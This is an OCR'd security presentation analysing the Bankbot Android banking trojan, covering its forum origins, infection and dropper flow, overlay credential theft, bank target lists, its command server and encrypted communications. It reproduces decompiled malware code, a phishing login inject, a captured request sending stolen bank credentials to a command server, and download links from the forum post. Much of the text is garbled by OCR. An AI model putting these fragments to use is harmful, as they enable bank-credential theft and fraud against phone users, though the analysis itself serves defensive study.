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==se- \What is Bankbot?

It's a banking trojan that embodies the following features:

Stealing SMS

Money transferring

GPS Location tracking

Request new permissions on-the-fly
Remote webinjects

Overlays over target applications
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Hosting from 200 USD for you.
Bulletproof Hosting
‘TAKE CARE OF YOURSELF

41 home % Forum FAQ

¥ Advertisement Search Members

1 Exploit.IN Forum > Toolkit > Articles & Videos
Fra=EEEEE
‘Android BOT from scratch

‘Subscribe to the topc | Tella

D 12/19/2016, 00:59

peace, preferably all
B

Group: Members

Joined: 6-June-2013
User No..: 70 242
Activity: coding

Reputation: 0
(169% is good)

Today, consider writing android bot from scratch, what it will do for uss
- to request the admin right:

- request permission to send SMS (android 6.0 and above)

- Send SMS

- Read SMS

plug works at all
~"Web injections (up to 6.0)

In the admin panel will be displayed:

- IMET / ID

- Room

- 0S Version

- APK version

- Country (flagged)

Bank (which (d, e) is set (s))

- Device model

- The presence of ROOT (admin rights)
Status of the screen

'

Date of infection
- and also, it displays the presence of inject,

s

r -5411'-1_3_?3(\

- Remove incoming SMS, muffle sound and vibration (removal works up to 4.4,

In the bot network or not (green on the network, yellow is not online, black is not online for more than 2 days)

sms sms from the bank and the log button (individual)

Bz M OF

Sent#1

but it sometimes works higher, depending on the device model, sound and vibration
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CYBER FORCE RWAKEME

(3?:3 CKPWH afMWHKW
=

Mogeas

AaMMHKY A obGpeszan co cBoero GoTa, CKPUH agMWUHKM moero Gora:
http://hostingkartinok.com/show-image.php?...edf8f938e086b3ea

HexoaHUKNW :

BoT: https://yadi.sk/d/Go9X wzE337z767Z nacc: gqweasd

AamuHKa: https://vadi.sk/d/ZsgNskV-33z7h6é nacc: gweasd

Baza mysql: https://yadi.sk/d/EuyB5s8J33zApJ nacc: gweasd

Hy BOT Wbl M paccMoTpenu pa3paloTky Avapowg 6oTa, fa W He TONbKO, Tak Xe O4WH W3 BapwaHToB OopbObl Cc geTexkTom! 3bl PeGAT, npowy He paboTaiiTe no py

NoBaeneHo 19-12-2016 23:58
Bugeo K cTaThe: WHxekTupyem QIWI c nomoubw aHapousa Gota, Bepcus 4.2 W 6.0

cnacnbo 3a BHWMaHWe W BCeX C HacTynawwum 2017 HOBbLM [O40M @
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m [hisimageisincluded by default on each Bankbot
web panel.
Usually, attackers maintain the image schema.
Panel does not suffer from heavy overhauls, but
rather small modifications instead.
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@@E AV detections

Tip: hover over an Antivirus to see its version at the time of the scan

#, A-Squared: Clean

e Ad-Aware: Clean
'E( Avast Clean

. AVG Free: Clean

E Avira: Clean

o BitDefender: Clzan

E BullGuard: Clean

% Clam Antivirus: Clean

G Comodo Internet Security: Clean
8 Dr.Web: Clean

(@) EseT noDz2: Clean

% eTrust-Ver: Clean

@ F-PROT Antivirus: Clean

"‘: F-Secure Internet Security: Clean
:"g FortiClient: Clean

0 G Data: Clean

0 IKARUS Security: Clean

Iq K7 Uldimate: Clean

BIY VAESETTY -BEIIE ég;

K Kaspersky Antivirus: HEUR
m McAfee: Clean

i MS Security Essentials: Clean

NANO Antivirus: Clean

m Norman: Clean

G Norton Antivirus: Clean

b Panda CommandLine: Clean

i

a Panda Security: Clean

parda

Ei Quick Heal Antivirus: Clean

9 Solo Antivirus: Clean

e Sophos: Clean

@ SUPERANtiSpyware: Clean

@ Trend Micro Internet Security: Clean

q Twister Antivirus: Clean

VBA32 Antivirus: Clean

VIPRE: Clean

E Zoner AntiVirus: Clean

Tip: hover over an Antivirus to see its version at the time of the scan

f:}_f A-Squared: Clean
o Ad-Aware: Clean
480 Avast: Clean

“ AVG Free: Clean

Avira: Clean

‘ BitDefender: Clean
E BullGuard: Clean
w Clam Antivirus: Clean

G Comode Internet Security: Clean

e Dr.Web: Clean
ESET NOD32: Clean

g eTrust-Vet: Clean

@ F-PROT Antivirus: Clean

"‘: F-Secure Internet Security: Clean
@ FortiClient: Clean

U G Data: Clean

c IKARUS Security: Clean

KT k7 Untimare: Clean

K Kaspersky Antivirus: Clean
m McAfee: Clean

‘ MS Security Essentials: Clean
_‘;:_‘. NANO Antivirus: Clean

m Norman: Clean

G Norton Antivirus: Clean

u Panda CommandLine: Clean
parda

U Panda Security: Clean

sardn

=

hil Quick Heal Antivirus: Clean
a Solo Antivirus: Clean

e Sophos: Clean

@ SUPERAntiSpyware: Clean
@ Trend Micro Internet Security: Clean
Q Twister Antivirus: Clean

F-_’A VBA32 Antivirus: Clean

VIPRE: Clean

u Zoner AntiVirus: Clean
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With the negligible quantity
of two euros(2.3SUSD),

attackers can quickly build an
infrastructure for the trojan.
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o EYBER FORCE RWAKEMF

(& [ @ Secure | https://mchost.ru/services/virtual-hosting/

JocTynHbl 4 Tapuda ¢ HabopoM ONLUIA A5 NONHOLLEHHOTO (hYHKLIMOHUPOBAHWS KIIMEHTCKUX WHTEPHET-PecypCoB. 3 U3 4 NakeToB BK/IKOHAOT
TOYHbIE MapaMeTPbl U BO3MOXHOCTb OM/aThl 3& rof} NoMb30BaHUs, 4To oGecneynBaeT NPUINYHYI0 3KOHOMMIO. Tapud) «KOHCTpyKTOp» Gonee
YHUBEpPCA/IEH M NO3BONAET BbIOpaTh HeOGXoAMMbIe OMUMM NOC/e 3aKasa YCNyri A1t ONTMMAasIbHOTO COOTBETCTBMA BalLVM 3afadam.

KoHcTpykTOp Max-10 Mak-15 Max-30

1B Ha SSD @ 10 b Ha SSD @ 15Tb Ha SSD @ 30 'b Ha SSD @
1 caift 5 caifitoB 15 caiitoB 40 caiitoB
0 6a3 faHHbIX 5 6a3 gaHHbIX 15 6a3 faHHbIX 40 6a3 faHHbIX
Harpyska 25% @ Harpyska 12.5% Harpyska 25% @ Harpyska 50% &
159 25 mecay roA ! roA lon
ng;gz;i:?j;g?gga 219 ps MecAy 351 es MecAy 615 e MecAy,
[lOCTyNeH K BbIGopy B npwv onnate 3a rog npwv onnare 3a rog, npw onnare 3a rog,

naHenu ynpasneHus
© 3KkoHomuA 359 R © 3koHomuA 575 B ) SxoHomuKs 1007 B

3aKasaTb 3akasaTb 3akasaTtb 3akasatb
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Showing 250 result/s

MMS Player (com.example.livemusay.myapplication) m

24949ce8a%3e03c54id6031b61629983298039271 0ea3f2dbaad34 798690352
Sep 29, 2017 2:3%04 AM - Android

Hoebiid TeTpuc (com.example.livemusay.myapplication) @

ee20959de2b7 1353240656 fFOTBETChC22b2F46bC Tebod G 1e36f5c9dc329d
Sep 28, 2017 10:50:00 PM - Android

MMS Flash Player Pro (com.example.livemusay.myapplication) m

b0922ff983509f20968aT841e520c4544fb04T4b123d3d40delaZa%ac2e506a8
Sep 28, 2017 3:18:13 PM - wrthrt erherhe

Jewels Star Classic (com.mygamejewelsclassic.app) m

be2efafdf1885d6468e8b628ce20b361635094ee39f2451689b2efoe30cbe8ea
Sep 26, 2017 8:47:04 AM - GamelLab

My Application (com.example.livemusay.myapplication) m

ab0ffadTidactf5fdld34cb621a4e6111204546e039afc9d4916236f08bE60IT
Sep 14, 2017 4.17:47 PM - Elisa

My Application (com.example.livemusay.myapplication) m

721621d4336652d425e6fa25001co5T767T4CTEEfG05048 1075317 2f1af2514b62
Sep 14, 2017 4:15:48 PM -
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Ee== Overlays

m Attack widely used by banking trojans to steal user’s credentials

m Different attacks have been published and proven to work

m T[hese attacks can be targeted towards Android versions up to 8

m Smart attackers can lead the user to never allow them to realise they

are under this attack.

T PLE ST w&*ﬁ@
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&= Android Toast

m Targeting all Android versions
previous to Android 8.

m Exploits Toast, a notification that
appears on screen, used for
messages and alerts.

m Due to not requiring so many
permissions, it can be used to render
overlays and mimetize windows.

m Allows for denial-of-service
conditions.

- Pam Droid
e

o Erase all data

+ Change the screen-unlock
password

s Set storage encryption
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2= Cloak & Dagger

Attacks
Invisible Grid Attack
Clickjacking — a11y
Silent God-Mode
Stealthy Phishing
PIM stealing
Phone Unlocking twhile screen off)

Leaky ai1y (passwords, 2FA tokens, CCs)

B VESETTY -BELY r_igé

Android 5.1.1 (32.0%")
vulnerable
vulnerable

vulnerable

vulnerable
vulnerable
vulnerable

vulnerable

Android 6.0.1 (31.2%)

vulnerable

vulnerable

vulnerable

vulnerable

vulnerable

vulnerable

vulnerable

Android 7.1.2 (7.1%)
vulnerable

vulnerable

W

viulnerable
vulnerable
vulnerable

vulnerable

LA &
vulnerable



Client side



= Infection workflow

SO

=]

4 W11:54

@ ctivate device administrato..

.l 100% W 15:42

- System update

yrrect operation of the program,
must confirm administrator

Malicious website Installs APK

XXX2.com says: ng administrator will allow MMS

er 11 to perform following

Your Flash Player is very outdated,

you need to update it to watch the

video! Do you agree?

Requests
permissions

CANCEL OK

Cancel Activate
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== Malicious websites are still a thing

Aapum 5000 py6 3a ycTaHOBKY =

com.example.livemusay.myapplication

General Info Comments Analysis report

spalomaresg, 7 days ago

Ce=s
% p1tb00l, 7 days ago
C2:1923045878.info

W StevenChen, 3 days ago
Download from here:
http://findyourmoney.ga/%D0%94%D0%B0%D 1%80%D0%B8%D0%BC%205000%20%D1%80%D1%83%D0%B1%20%D0%B7%D0%B0%20%D1%83%D
1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D1%83.apk

% p1tb00l, 2 days ago

"We give 5000 rubles for installation" :D

B VESETTY -BELY r_igé
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2= Infection workflow

In case the application has been installed but not enough
permissions for its execution have not been granted, the trojan

will continue to request permissions until they are given.

Without them, the trojan’s minimal activity cannot be achieved.




(Build.VERSION.SDK_INT 23)

int 1 checkCallingOrSelfPermission("android.permission.SEND_SMS");
((Build.VERSION.SDK_INT 23) (1 0)) {
requestPermissions(new String[] {
"android.permission.SEND_SMS",
"android.permission.READ_CONTACTS",
"android.permission.ACCESS_FINE_LOCATION"

, 1);
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=== Infection workflow

Among others, the permissions that continues requesting for
are (until given):

android.permission.SEND_SMS
android.permission.READ_CONTACTS
android.permission.ACCESS_FINE_LOCATION
android.permission.DEVICE_ADMIN

B T ET Y wuf_:gﬁ’%



0T - -
=== Device Admin?

The reason why the trojan requests device administrator permissions is to display
overlays as credential theft means, and making it harder for the victim to detect or
uninstall the malicious application.

(la.al))

paramBundle Intent("android.app.action.ADD DEVICE ADMIN");
paramBundle. putExtra("android.app.extra.DEVICE ADMIN", a.bf());

paramBundle putExtra("android.app.extra.ADD EXPLANATION", "The GNU General Public License
startActivityForResult(paramBundle, 108);
finish():

€

TN PTLTESTY B L’_'\.
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nnnnnnnnnnnnnnnnn

Data theft

IMEI, carrier...

Operative system version,
victim’'s country, device data...

Root? Stolen data? Online?
Target applications installed?

>

REMOTE SERVER
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=== Data theft

The trojan will detect if any of the target applications are
installed in the device and send that information to the
command and control server.

Once the application is installed, the trojan will ‘intercept’ the

application hence launching an overlay attack over the target
application.




=4 Comparison: Real Login vs Overlay

v 4 B12:29

Real App login ,

+380

Maponk

MNMWH-kon mo6oi Bawen kapTol Npueatha

KOCHHUTECE KOHYMKOM naneya
KNasuwu «JoMoi», 4Tobbl
NOATBEPAUTL CBOIO NMYHOCTL.

BOWTK

Banking trojan Overlay

B VLI T -z«'..'u:_ég:
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=e=ce |nitial targets...

Due to it being released in russian
forums originally, most of the

targets are East European entities:

ru.sberbankmobile
ru.sberbank_sbbol
ru.alfabank.*
ru.mw
ua.privatbank
com.ziraat.*

T PLE ST w&*ﬁ@

com.tmobtech
com.pozitron
com.akbank.*
tr.com.serkerbilism
com.teb

com.ykb.*
com.garanti.*
biz.mobinex.*
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=oe-INCreasing targets...

What's more, soon enough the target list increased and begun spreading across
Europe reaching my home country, Spain.

Applications of entities such as Commerzbank, Royal Bank of Scotland,
Santander, Lloyds... were all targeted by this series of attacks.

Nevertheless, to target applications they had to design the overlays which were
going to be used. This process slows down and makes more difficult the chances
of creating high-similarity/quality overlays in a short time period.

I TETETTY RES x%



.- Target injects retrieval

The initial target list was hardcoded in the trojan’s source code, and had a switch
statement with the package names on which it had to overlay.

if (packagename.equals(“ru.sberbankmobile”))

{
3

This allows for easily identifying the targeted applications.
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Later on, the injects list was stripped
from the code and began to be
dynamic. APK has no information of
the targeted entities, and
sometimes not even the Command
& Control at first sight.

These injects use a XML format,
easily found in the private data of the
application.

O Al e e BRI P

=

Timelinit .SECONDS
localObject2
] 2

sleep(1L);
; b.getString("list i2", "");

j =
Ay

localInterruptedException2)

(InterruptedException

[530

int k

i al(5tring)localObject2) . length;
(]

k) {

g

]
¥
localInterruptedException2
localInterruptedException2

}

localInterruptedException2;
printStackTrace();

localException) {}

(Exception



<string name="list 1">
28 es.cm.android
D#] D J  es.cm.android.tablet

nnnnnnnnnnnnnnnnn

==y 30 com.bankia.wallet

com. bbva.bbvacontigo
com.bbva.nxt tablet
com.bbva.bbvawalletmﬂ
com.garanti.cepsubesi
com.garanti.cepbank
com.pozitron.iscep
com.softtech.isbankasi

Targets
g J9  com.akbank.android.apps.akbank_direkt

com. akbank.softotp
com.akbank.android.apps.akbank direkt tablet
com.ykb.androidtablet

The previous source code snippet was cou, ykb. android. sobil obay

of the function in charge of parsing the | £08 FATenEhank bk Le cepEtne
15 finansbank.enpara
XML that stores the target 6 com. tmobtech.halkbank , ,
. _ 17 biz.mobinex.android.apps.cep sifrematik
applications. 18 com.vakifbank.mobile

com.ingbanktr.ingmobil

com.tmob.denizbank
tr.com.sekerbilisim.mbank
com.ziraat.ziraatmobil
com.intertech.mobilemoneytransfer.activity
com. kuveytturk.mobil
com.magiclick.odeabank

com.isis papyrus.raiffeisen pay eyewdg

Y VTLEETTY B =
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Later on, one of the attackers decided to modify the source code and once root
access was granted, the artifact obtained the list of bookmarks of the user’s
browser.

In case one of the bookmarks matched the ones in the list, then the trojan would
overlay the browser trying to steal the information the user would enter in the
website.

Nevertheless, not many of these samples were seen nor seemed to be very
effective. (Too easy to spot)

T PLE ST w&*ﬁ@



<string name="list web">
nobilsube. akbank.com.tr
internetsubesi.akbank.com/WebApplication.UI/entrypoint.aspx
kurumsalinternetsubesi.akbank.com/WebApplication.UI/entrypoint.aspx
sube.garanti.com.tr/isube/login/login/passwordentrypersonal
sube.garanti.com.tr/isube/login/login/passwordentrycorporate
isbank.com.tr

teb.com.tr

internetsube.yaplkredl.com.tr

ticari.yapikredi.com.tr

cep.gnbfinansbank. com/CepSubesi.html
internetsubesi.qnbfinansbank.enpara.com

halkbank.com.tr

vakifbank.com.tr
internetsubesi.ingbank.com.tr/WebApplication.UI/Default.aspx
kurumsalinternetsubesi.ingbank.com.tr/WebApplication.UI/default.aspx
acikdeniz.denizbank.com

mobil.ziraatbank.com.tr/#Login

sekerbank.com.tr

isube.kuveytturk.com.tr/Login/InitialLogin

22 1isube.kuveytturk.com.tr/Login/CorporateInitiallogin

23 odeabank.com.tr

24 paypal.com/webapps/xorouter/paymentstandard

25 paypal.com/signin

6 paypal.com/webapps/hermes

</string>

nnnnnnnnnnnnnnnnn
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To avoid detection when checking .dex files, some attackers
decided to try moving code fragments and key information to
libraries running via JNI.

® Arm64-v8a
® armeabi
® armeabi-v7a
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nnnnnnnnnnnnnnnnn

COI]

When inspecting the .dex decompilation we can find no references to the command
and control address. Nevertheless, if we observe carefully the libraries we can find
that the attacker hid the C&C in them.
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We can find a function used to
send data via POST.

Previously, it checks whether
the C&C answers in order to do
the request safely.

RO, [R18,1#4]

RO, #

RB, [RE,#0:x 1

RA, R4 ; dest

strcat

RB, R4 ; s

strlen

R1, HE

R1, [R4,R8]

RB, R4 ; dest

R1, RS ; src

strcat

R8, R4 ; s

strlen

R1, =(aHttp1_1Host - Bx2148)
R8, R4

R2, #

R1, PC 3 "™ HTTP/1_1\vr\nHost: ™
__aeabi memcpy

RB, R4 ; dest

R1, R? ; src

strcat

RB, R4 ; s

=trlen

R1, ={aConnectionClos - Bx2162)
RB, R4

R2, #Oxz1i

R1, PC ; "“wrinConnection: closelZrinirin"
__aeabi_memcpy

R2, ={unk_35F5 - B8x2170)
R8, SP, #Ox5DC34+s

R1, R4 ; format

R2, PC

RB, R& ; s

R3, R2

sprintf

RO, & ; domain

R1, # ; type

R2, # ;5 protocol
socket

R4, RB

R4, #

loc_ 223C
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We count with another function,

getProc() in order to obtain
information from /proc

For example, through
/proc/cmdline information
about the current Kernel R-O
status can be obtained.

LDR.W
HMou
LDR
HMou . W
ADD
STR.W
ADD
Moy
BLX
LDR
MOV .k
Moy
HMow
ADD
STR
Moy
BLX
HMou
MOus
BLX
Mow
Moy
Moy
HMOUs
BLX
HMou
Moy
HMOUs
BLX
Moy
Moy
BLX
ADD
HMou
BLX

R18, ={assS - Bx2386)

RB, Ra ; s

R3, ={aProc - B=238C)
R1, HE ; maxlen

R18, PC ; "%s5%s"

R11, [5P,# >8+uar_758]

R3, PC ; "fproc/s"
R2, R18 ; format
snprintf

RB, =(aCmdline - Bx239E)
R1, HAx2i ; maxlen
R2, R18 ; format

R3, Ro6

RA, PC ; "fcmdline”
RB, [SP,# B+uar_758]
RB, Ra ; s

snprintf

RB, R6 ; file

R1, # ; oflag

open

R18, R4

R4, RGO

RA, Ro

R1, #

__aeabi memclr8

RA, R4 ; fd

R1, Ré ; buf

R2, #8=48 ; nbytes
read

RA8, R4 ; fd

R4, R18

close

RA, SP, HOGx758+dest ;
R1, R6 ; srcC

ctrcat
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send_sms executes a call to
/android/telephony/SmsManager/ and
through sendTextMessage sends
SMS's.

https://developer.android.com/referen
ce/android/telephony/gsm/SmsMana
ger.html

T VLEELTTY BLLL T

{R4-R11,LR}

R¥, 5P, o

5P, 5P, N

R4, R1

R1, ={afAndroidTelepho - @x243C})
RB, [Ri]

R11, R2

R1, PC ; "android/telephony/SmsHanager"
R8, R3

R2, [RB8,# 1

RA, R4

R2

R%, RO

RB, [R4]

R2, ={aGetdefault - BGx245h4}

R1, RG

R3, ={alLandroidTeleph - Bx2456)
RG, [RB,# |

RZ2, PC ; “getDefault”

R3, PC ; "{)Landroid/telephony/SmsHanager ;"
RB, R4
R

R2, RSB

R, R4

R1, RS

j_ 2H7 JHIEnu22CallStaticObjectMethodEP?_jclassP
R9, RO

RO, [R4]

R2, ={aSendtextmessaqg - Bx2474)

R1, RS

R3, ={alLjavalLangStrin - Bx2476)

R6, [RO,H#0:284]

RZ, PC ; "sendTextHessage"

R3, PC ; "{Ljavaflang/String;Ljavaslang/String;
RA, R4

Rb

R18, RA

RO, [R4]

R1., R11
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FEEN

This strategy allowed them to hide the information a little bit(actually, very little), but
what's most important about it is the noticeable decrease in the detections could
be appreciated.

SHAZ256: 24432891624d31851e631a431c5cBi62bfe367e05e6bf77b19232e25e24454b3 $
File name: lec3a09da91f02a4dbil4896b2ecd1ff.virus
Detection ratio:  8/54 .f O 6 O

Analysis date: 2017-05-26 02:20:39 UTC ( 1 week, 5 days ago )

= Analysis @ Additional information @ Comments o L) Votes

Antivirus Result Update
AhnLab-V3 Android-Trojan/Banker. 56903 20170525
e oo I N Avira (no cloud) ANDROID/Spy.Banker. YD.Gen 20170525

FSFT-NONO22? Android/Snv Ranker KRB 2001 TOR 2R



Server side
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=e=ce - Backend

Once the botnet was made public, the source code had the
server-side component available allowing for everyone to
set-up their own botnet.

Many of the first users used this code at the very beginning
neglecting the security of their setup, and allowing for
server-side critical information to be downloaded.



IMELID Homep Tepomn e Crpana

The default panel displays the following
information:

IMEI
ROM Status

Android version

Installed trojan version

Current device status

Infection date

Collected information from the
user: Logs, credentials, installed
targets...




Houep Ve o Mogers rooT Ixpan b S mw
| ] B41444152826246 (wymv)IB6TI203856 3 Demo Nexus 5 (razor) X x 20170929 18:40 e
| | 372535134316438 {canh)13711906018 43 Demo Nexus 5 (razor) x x 2017-09-29 18:40 e
| | A35469577765283 (CHINA MOBILE) 13587955639 412 Dema Nexus 4 (nccam) v X 201749-29 18:41 ‘
| | 2B0TIIR0STITITO {sveh)1355854 1887 43 Dema Nexus 5 [razor) x x 2017-09-29 18:41 Y
| | UHIIEE2181012 (ymwe) 18177862045 43 Dema Nexus 5 (razor) X X 2017-09-29 18:42 .
| | Z47143668201345 (mli}1 3608453663 43 Demo Nexus 5 (razor) x x 2017-09-29 18:42 ke
| ] 106155843150248 {mysv)15B39003057 43 Demo Nexus 5 frazor) X x 201740925 18:42 )
| | TIRTOL02457128] (iszm) 13638906831 43 Demo Nexus 5 (razor) X % 2017-09-29 18:42 -
| | 153521181137553 {Kencell|+2547537352821 412 Demo GT9300 {mixx) L 4 X 2017-08-29 18:42 '
| | 415619781671442 (Smant+639427574704 413 Demo GT19300 {mixx) « x 2017-09-29 18:42 ‘
| | S76375872013973 (zyth)13618990047 43 Demo o Nexus 5 frazor) X x 2017-09-29 18:42 -
| | 6B1E91878329878 (pidn)13608453663 43 Demo - o Nexus 5 [razor) x x 2017-09-29 18:42 e
| | 06AI90792141642 (wilgs) 13608453663 43 Dema m no Nexus 5 (razor) X x 2017-09-29 18:43 .
| | 2343430581507 (1saj)1 8283796961 43 Demo — o Nexus 5 (razor) x x 2017-09-29 18:43 ke
| ] BSDGEIIS015HMU3 (juic) 15880874121 43 Dema m no Nexus 5 frazor) X x 20170929 18:43 i
| | B51955300620806 (tthp) 18126346227 43 Demo ) o Nexus 5 (razor) X % 2017-09-29 18:43 -
| ] TOEIFSEIB42008 (zabg)13371924126 a3 Demo m o Nexus 5 {razor) 3 x 20170929 18:43 e
| | SE9S 19781825060 {pgsv)13681934207 43 Demo LH o Nexus 5 [razor) x x 2017-09-29 18:43 e
| | SE9I S4TSR (tdkz)13408646779 43 Demo o Nexus 5 frazor) X x 2017-09-29 18:44 -
| | 622B4GIFB0ETI6L (qsmu) 18296476195 43 Demo [ | o Nexus 5 (razor) ® x 2017-09-29 18:44 e
| | 6006303383713 (qzmm)13667590311 43 Dema [ ] o Nexus 5 {razor) X x 20170929 18:44 .
| | 4305895107706 (tuha)13608453663 43 Demo - o Nexus 5 (razor) x x 2017-09-29 18:44 ke
| ] TL6346293323317 (ywelt) 15889946812 43 Demo o no Nexus 5 frazor) X X 20170929 18:44 i
| | 387589695122979 {xaad)1B796009179 43 Demo |— o Nexus 5 (razor) X % 2017-09-29 18:45 -
| ] A64675107120161 (itzm)1 3608453663 3 Demo ok o Nexus 5 {razor) ¥ x 201740829 18:45 ™
| | SBTE7RI2ATATRD {hwif)15135488376 43 Demo = o Nexus 5 [razor) x x 2017-09-29 18:45 e
| | 962835 130526475 (cyfl)G2670209706 43 Demo || o Nexus 5 (razor) X x 2017-09-29 18:45 -
| | B04938422579651 (kith)1 3604599716 43 Demo - o Nexus 5 (razor) x X 2017-09-29 18:45 e
| | (053642815716101 (wytm) 13358127332 43 Dema - o Nexus 5 {razor) \ X LY, 201740928 18:45 -
| | 6959723132442480 (Fnzy)15092957302 \ 43 Demo - B/ Nexus 5 (razor) M—ﬁ/ 2017-09-29 18:46 ke
S — PR E——
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Components

1 config.php

1 E7php
m add_inj.php 2 define( ',EF"EP'
add_log.php 3 dF‘TlHF‘l 'L‘Efi' .
4 det {—'I 'US
m config.php 6 C Iefine{'ahrjptﬁfj'
m crypt.php
m kliets.php
m tuk_tuk.php
m set_data.php

€
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== Communications

The trojan uses its own routine to encrypt the messages that are sent to the remote
server, that key is stored in both the server-side and the client-side.

Example:

37 35 67 78 79 37 55 67




<form action=" ?p=

"method="post"id="mf"name="mf"onsubmit="return true">

<input type="tel" value="+380" placeholder="Jloruu" id="privat24-login"
name=" " maxlength="13">
<input placeholder="Ilaponas" id="
name="privat24_password">

<input placeholder="IIMH-xon JsOO¥ Bamey KapTH [IpmBaTBaHK"
id=" " name="privat24_pin">

<button class="btn btn-success

mb"onclick=" "style="">BONUTHU</button>



102 http://botter.zzz.com.ua GET | /injprivatbank php?p=Aw%2053.. =[] [ 200 5143  HIML php [] 5&7966145

jRawT Headers T Hex T HTML T Render ]

HTTF/1.1 200 OK

Server: nginx

Date: Tue, 03 Oct Z017 17:14:36 GMT
Content-Type: text/html; charsec=UTF-28
Connection: close

Vary: Accept-Encoding

¥-Powered-Ey: PHP/7.0.24
Content-Length: 4942

Response

<!DOCTYPE htmil>
<html lang="ru":>
<he=ad>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
<link rel="stylesheet" type="text/css" href="privatebank/style.css">
<script sre="privatebank/main.js":</scripts>
<titlesx</titles
</ head>
<hody>
<div id="page-Z">
<div id="header":>
<div id="img-container":>
<img sre="privatebank/Ll.png">
<img sre="privatebank/Z.png">
<img sre="privatebank/3.png">
<img sre="privatebank/4.png”>
</div>
</dive

<form action="/private/add inj.php?p=5w 53 56 53 5w 55 48 5e 55 54 54 53 55 48 55 37 55 €7 37 68 48 37 57 T 37 €B 49 37 56 48 37 €8 4B 37 €6 56 I
E7"method="post"id="mf"name="mf"onsubmit="return trus=">

<input type="tel” walue="+380" placeholder="llorux" id="privactli4-login" name="privacl4 login" maxlength="13">
<input placeholder="Ilapone" id="privatid4-passvord" name="privatl4_password"»

<input placeholder="IMH-ron mofol Bawef kapTe [pxearFase” id="privatZ4-pin" name="privatZ4 pin">

<div id="additional>

</div>
<pbutton class="btn btn-success nb"onclick="send_info[]"style=""}BDﬁTH<Khutton}
</ form>
<div id="error">
<p>*B IAaHHENL MOMEHT MPOBOJATCH TeXHMYeckHe paborei. INonmpobyiiTe Moske, MPHHOCHH H3BHHEHMHA 54 BOSMONHEIE HeygoboTBa<br><hr:TpHIokKeHAMe SAKPOETCH ABTOMATS
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=ON Data theft

FOST
/private/add_inj.php?p=5w%I053%2056%2053%205ws2055%2048%205%2055%2054%2054%2053%2055%2048%2055%2037%2055%2087%2037%2068%2048%2037%2057%207%2037%2088%204¢
520E68%204B%2037%20F6%2048%2037%206B%2049%2037%2056%205%205%205e%2037%2055%2067 HTTP/1.1

Host: botter.zzz.com.ua

Eeferer: http://botter.zzz.com.ua/inj/privatbank.php?p=5w%2053%2056%2053%205ws2055%2048%205%2055%2054%2054%2053%2055%2048%2055

Content-Length: 78

Cache-Control: max-age=0

Origin: http://botter.zzz.com.ua

Content-Type: application/x-www-form-urlencoded

Aecept: text/html,application/xhtml+4xml, application/xml;q=0.9,*/*:c=0.8

User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; es-es3; GT-I9100 Build/JZ054K) AppleWebKit/534.30 (EHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Aecept-Encoding: gzip, deflate

Aecept-Language: es-ES, en-US

Accept-Charset: utf-8, iso-8859-1, utf-16, *;qg=0.7

Connection: close

privatZ4 login=%IB3111111lll&privati4 password=ururuuréprivati4 pin=avgwhssjjjd



L0097 -
Sy Encryption

function encrypt(string, key) //mmdpporanme Tpadda JIOTOB
str = urlencode(string)
ret = ""
for(i=0 i<mb_strlen(str) i++)
r1 = ord(mb_substr(str, 1, 1))

ret = "ret r1"

for(i=0 i<mb_strlen(key) i++)
ret = str_replace(i, mb_substr(key, i, 1), ret)
ret = mb_substr(ret, 1, mb_strlen(ret)) //!

return ret

B VLY ST
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=== [t's possible to decrypt the comms.
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=== Anecdotes




867754028446333: 3anpoc USSD snmomses!
267734028446353: (Mex) CMC 5a somep {900} rexcron {Oanamc} oropasneno!
267754028446353: (Bx CMC) Homep: {900} ¢ TexcroM { Yomyra Mofwmmaeni Basy Be mogxmodess K Bameny HoMepy Tenedoma [
867754028446353: (Bx CMC) Homep: {900} c TexcroM {1 yomyTa noseonseT OHICTpo B yHo0EC COBEPINATE INIATERHE H IEPEBOTE C I
867734028446353: (Bx CMC) Homep: {900} ¢ Texcrom {oMomsso MoSumbacre Tenedosa B modoe Epest B B moboM mecte. [lomsm
8677340284463353: (Bx CMC) Homep: {900} c rexcrom {» Mocno wepes mobod Gamxonar, Tepuuman ClepOanis HH & Gumsaien
B867754028446353: (Bx CMC) Honsep: {900} ¢ Texcrom {nenemsm. }(CMC VIANEHA)
267754028446353: (Bx CMC) Hoep: {+79302225725} ¢ Tercrom {Tonocosax noara MTC. ASomesr +70502225715 ocragan cool
B867754028446353: (Bx CMC) Homep: {+79502225725} ¢ Texcrom {& 17:12. Beero 3 moEsx coofmesmx. [Tpocaymars - 0861, Cras
867734028446353: (Bx CMC) Homsep: {+79502225725} ¢ Texcrom {//msg vm mts. ru/dbhitp'Mtag=0BBOC2
WITC WCMC YIANMEHA)
867754028446353: (Bx CMC) Honsep: {6996} c Texcrom {Telel
+7(996) T75-06-15
Tpamsasmen: C4ETCS5E6]
Cyvamea: 108 py6.
Cyu}(CMC YIAJEHA)
867754028446353: (Bx CMC) Homep: {6996) c Texcrom {Ma k ommare: 119 23 py6.
i nonTEepANeHNEE oropaseTe oreeTH H(CMC YIAJIEHA)
267754028446353: (Bx CMC) Honep: {6996] c TexcroM {oe SMS ¢ mobeme TexcTon.
inx oTEasa - oropaeste "0"_H{CMC YIIAJIEHA)
267754028446353: (Bx CMC) Homep: [IMTCPay} c rexcrom {IInares rhmonmes.
Tparsaxman NeCAETC35EGT
Jersmi mearesc wwwpay.mtz m}{CMC YIATTEHA)
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=== Google Play

In January of 2017, the
first Bankbot's that
managed to enter the
Play Store were
spotted, posing as legit
applications.

B VLI T -z«'..'u:_ég:

Downloader for videos

Hendrik Gerritsen

El PeEcI3

Contiene anuncios
€@ Esta aplicacion es compatible con todos tus dispositives

Reproductores y editores de video

TS RN



YES

(R O
=== Dropper workflow
NO Can third party
applications be
installed?
Request user to
activate the “unknown YES
Next sources” feature.
reboot...
NO
Malware won't
execute.
NO

BT VLETTY RIS T 1

Download real
malware to the
SDCard

Display the installation
dialog to the user.

@ lﬁl



(Secure.getInt(this.f10185b.f10107b.getContentResolver(), "install non_market apps”) == 1 7 1 : null) == null) {
Looper . prepare();
Object obj;
i
“final Toast[] toastArr = new Toast[]{null};
Intent intent = new Intent("android.settings.SECURITY SETTINGS™);
intent. setFlags(268435456);
this . £10185b f108107b startActivity(intent);
Handler handler = ne HﬁndLer[]|
Handter(th15 £10185b.£10107b. getMainLooper()) .post(new Runnable(this) {
